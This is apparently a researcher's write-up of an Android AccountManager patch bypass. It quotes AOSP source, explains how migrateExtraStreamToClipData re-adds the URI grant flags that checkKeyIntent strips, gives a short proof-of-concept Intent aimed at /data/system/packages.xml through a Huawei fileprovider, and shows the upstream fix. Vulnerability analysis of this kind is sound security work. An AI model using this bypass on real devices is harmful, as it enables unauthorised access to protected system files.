Preface
This is a relatively old issue. This article records the process of my previous analysis.
Vulnerability Description
I won’t explain the AccountManager LaunchAnyWhere vulnerability here; let’s directly look at the checkKeyIntent method:
/**
* Checks Intents, supplied via KEY_INTENT, to make sure that they don't violate our
* security policy.
*
* In particular we want to make sure that the Authenticator doesn't try to trick users
* into launching arbitrary intents on the device via by tricking to click authenticator
* supplied entries in the system Settings app.
*/
protected boolean checkKeyIntent(int authUid, Intent intent) {
intent.setFlags(intent.getFlags() & ~(Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION
| Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION));
long bid = Binder.clearCallingIdentity();
try {
PackageManager pm = mContext.getPackageManager();
ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId);
if (resolveInfo == null) {
return false;
}
ActivityInfo targetActivityInfo = resolveInfo.activityInfo;
int targetUid = targetActivityInfo.applicationInfo.uid;
PackageManagerInternal pmi = LocalServices.getService(PackageManagerInternal.class);
if (!isExportedSystemActivity(targetActivityInfo)
&& !pmi.hasSignatureCapability(
targetUid, authUid,
PackageParser.SigningDetails.CertCapabilities.AUTH)) {
String pkgName = targetActivityInfo.packageName;
String activityName = targetActivityInfo.name;
String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that "
+ "does not share a signature with the supplying authenticator (%s).";
Log.e(TAG, String.format(tmpl, activityName, pkgName, mAccountType));
return false;
}
return true;
} finally {
Binder.restoreCallingIdentity(bid);
}
}
The four flags related to URI grant are removed here. However, after reading the source code of Intent, it is found that if some special Actions are used, the flags will be added back during the startActivity process. The key point lies in the migrateExtraStreamToClipData method called in Instrumentation:
/**
* Execute a startActivity call made by the application. The default
* implementation takes care of updating any active {@link ActivityMonitor}
* objects and dispatches this call to the system activity manager; you can
* override this to watch for the application to start an activity, and
* modify what happens when it does.
*
* <p>This method returns an {@link ActivityResult} object, which you can
* use when intercepting application calls to avoid performing the start
* activity action but still return the result the application is
* expecting. To do this, override this method to catch the call to start
* activity so that it returns a new ActivityResult containing the results
* you would like the application to see, and don't call up to the super
* class. Note that an application is only expecting a result if
* <var>requestCode</var> is >= 0.
*
* <p>This method throws {@link android.content.ActivityNotFoundException}
* if there was no Activity found to run the given Intent.
*
* @param who The Context from which the activity is being started.
* @param contextThread The main thread of the Context from which the activity
* is being started.
* @param token Internal token identifying to the system who is starting
* the activity; may be null.
* @param target Which activity is performing the start (and thus receiving
* any result); may be null if this call is not being made
* from an activity.
* @param intent The actual Intent to start.
* @param requestCode Identifier for this request's result; less than zero
* if the caller is not expecting a result.
* @param options Addition options.
*
* @return To force the return of a particular result, return an
* ActivityResult object containing the desired data; otherwise
* return null. The default implementation always returns null.
*
* @throws android.content.ActivityNotFoundException
*
* @see Activity#startActivity(Intent)
* @see Activity#startActivityForResult(Intent, int)
* @see Activity#startActivityFromChild
*
* {@hide}
*/
@UnsupportedAppUsage
public ActivityResult execStartActivity(
Context who, IBinder contextThread, IBinder token, Activity target,
Intent intent, int requestCode, Bundle options) {
IApplicationThread whoThread = (IApplicationThread) contextThread;
Uri referrer = target != null ? target.onProvideReferrer() : null;
if (referrer != null) {
intent.putExtra(Intent.EXTRA_REFERRER, referrer);
}
if (mActivityMonitors != null) {
synchronized (mSync) {
final int N = mActivityMonitors.size();
for (int i=0; i<N; i++) {
final ActivityMonitor am = mActivityMonitors.get(i);
ActivityResult result = null;
if (am.ignoreMatchingSpecificIntents()) {
result = am.onStartActivity(intent);
}
if (result != null) {
am.mHits++;
return result;
} else if (am.match(who, null, intent)) {
am.mHits++;
if (am.isBlocking()) {
return requestCode >= 0 ? am.getResult() : null;
}
break;
}
}
}
}
try {
intent.migrateExtraStreamToClipData();
intent.prepareToLeaveProcess(who);
int result = ActivityTaskManager.getService()
.startActivity(whoThread, who.getBasePackageName(), intent,
intent.resolveTypeIfNeeded(who.getContentResolver()),
token, target != null ? target.mEmbeddedID : null,
requestCode, 0, null, options);
checkStartActivityResult(result, intent);
} catch (RemoteException e) {
throw new RuntimeException("Failure from system", e);
}
return null;
}
The migrateExtraStreamToClipData method is called here, and its processing logic is quite interesting:
/**
* Migrate any {@link #EXTRA_STREAM} in {@link #ACTION_SEND} and
* {@link #ACTION_SEND_MULTIPLE} to {@link ClipData}. Also inspects nested
* intents in {@link #ACTION_CHOOSER}.
*
* @return Whether any contents were migrated.
* @hide
*/
public boolean migrateExtraStreamToClipData() {
// Refuse to touch if extras already parcelled
if (mExtras != null && mExtras.isParcelled()) return false;
// Bail when someone already gave us ClipData
if (getClipData() != null) return false;
final String action = getAction();
if (ACTION_CHOOSER.equals(action)) {
// Inspect contained intents to see if we need to migrate extras. We
// don't promote ClipData to the parent, since ChooserActivity will
// already start the picked item as the caller, and we can't combine
// the flags in a safe way.
boolean migrated = false;
try {
final Intent intent = getParcelableExtra(EXTRA_INTENT);
if (intent != null) {
migrated |= intent.migrateExtraStreamToClipData();
}
} catch (ClassCastException e) {
}
try {
final Parcelable[] intents = getParcelableArrayExtra(EXTRA_INITIAL_INTENTS);
if (intents != null) {
for (int i = 0; i < intents.length; i++) {
final Intent intent = (Intent) intents[i];
if (intent != null) {
migrated |= intent.migrateExtraStreamToClipData();
}
}
}
} catch (ClassCastException e) {
}
return migrated;
} else if (ACTION_SEND.equals(action)) {
try {
final Uri stream = getParcelableExtra(EXTRA_STREAM);
final CharSequence text = getCharSequenceExtra(EXTRA_TEXT);
final String htmlText = getStringExtra(EXTRA_HTML_TEXT);
if (stream != null || text != null || htmlText != null) {
final ClipData clipData = new ClipData(
null, new String[] { getType() },
new ClipData.Item(text, htmlText, null, stream));
setClipData(clipData);
addFlags(FLAG_GRANT_READ_URI_PERMISSION);
return true;
}
} catch (ClassCastException e) {
}
} else if (ACTION_SEND_MULTIPLE.equals(action)) {
try {
final ArrayList<Uri> streams = getParcelableArrayListExtra(EXTRA_STREAM);
final ArrayList<CharSequence> texts = getCharSequenceArrayListExtra(EXTRA_TEXT);
final ArrayList<String> htmlTexts = getStringArrayListExtra(EXTRA_HTML_TEXT);
int num = -1;
if (streams != null) {
num = streams.size();
}
if (texts != null) {
if (num >= 0 && num != texts.size()) {
// Wha...! F- you.
return false;
}
num = texts.size();
}
if (htmlTexts != null) {
if (num >= 0 && num != htmlTexts.size()) {
// Wha...! F- you.
return false;
}
num = htmlTexts.size();
}
if (num > 0) {
final ClipData clipData = new ClipData(
null, new String[] { getType() },
makeClipItem(streams, texts, htmlTexts, 0));
for (int i = 1; i < num; i++) {
clipData.addItem(makeClipItem(streams, texts, htmlTexts, i));
}
setClipData(clipData);
addFlags(FLAG_GRANT_READ_URI_PERMISSION);
return true;
}
} catch (ClassCastException e) {
}
} else if (MediaStore.ACTION_IMAGE_CAPTURE.equals(action)
|| MediaStore.ACTION_IMAGE_CAPTURE_SECURE.equals(action)
|| MediaStore.ACTION_VIDEO_CAPTURE.equals(action)) {
final Uri output;
try {
output = getParcelableExtra(MediaStore.EXTRA_OUTPUT);
} catch (ClassCastException e) {
return false;
}
if (output != null) {
setClipData(ClipData.newRawUri("", output));
addFlags(FLAG_GRANT_WRITE_URI_PERMISSION|FLAG_GRANT_READ_URI_PERMISSION);
return true;
}
}
return false;
}
For the following Actions, the method will retrieve the URI from specific extras, put it into the ClipData field, and automatically add the relevant flags. You can refer to the code for the specific logic. Here, we use the MediaStore.ACTION_IMAGE_CAPTURE Action, which can bypass the AccountManager patch and obtain read/write permissions again:
Intent intent = new Intent();
intent.setClassName("com.wrlus.poc.extragrant",
"com.wrlus.poc.extragrant.ExpActivity");
intent.setAction(MediaStore.ACTION_IMAGE_CAPTURE);
intent.putExtra(MediaStore.EXTRA_OUTPUT,
Uri.parse("content://com.huawei.searchservice.fileprovider/root/data/system/packages.xml"));
We don’t need to add flags here because even if we do, they will be removed by checkKeyIntent. We just need to wait for the migrateExtraStreamToClipData method to add them automatically for us. Combined with some URI allowlist issues, the patch can be successfully bypassed for exploitation without using Bundle mismatch.
Fix
/**
* Checks Intents, supplied via KEY_INTENT, to make sure that they don't violate our
* security policy.
*
* In particular we want to make sure that the Authenticator doesn't try to trick users
* into launching arbitrary intents on the device via by tricking to click authenticator
* supplied entries in the system Settings app.
*/
protected boolean checkKeyIntent(int authUid, Intent intent) {
// Explicitly set an empty ClipData to ensure that we don't offer to
// promote any Uris contained inside for granting purposes
if (intent.getClipData() == null) {
intent.setClipData(ClipData.newPlainText(null, null));
}
intent.setFlags(intent.getFlags() & ~(Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION
| Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION));
long bid = Binder.clearCallingIdentity();
try {
PackageManager pm = mContext.getPackageManager();
ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId);
if (resolveInfo == null) {
return false;
}
ActivityInfo targetActivityInfo = resolveInfo.activityInfo;
int targetUid = targetActivityInfo.applicationInfo.uid;
PackageManagerInternal pmi = LocalServices.getService(PackageManagerInternal.class);
if (!isExportedSystemActivity(targetActivityInfo)
&& !pmi.hasSignatureCapability(
targetUid, authUid,
PackageParser.SigningDetails.CertCapabilities.AUTH)) {
String pkgName = targetActivityInfo.packageName;
String activityName = targetActivityInfo.name;
String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that "
+ "does not share a signature with the supplying authenticator (%s).";
Log.e(TAG, String.format(tmpl, activityName, pkgName, mAccountType));
return false;
}
return true;
} finally {
Binder.restoreCallingIdentity(bid);
}
}
If getClipData is null, an empty ClipData is set manually. Although it still contains no content, it breaks the condition getClipData() != null in migrateExtraStreamToClipData, thus resolving the issue.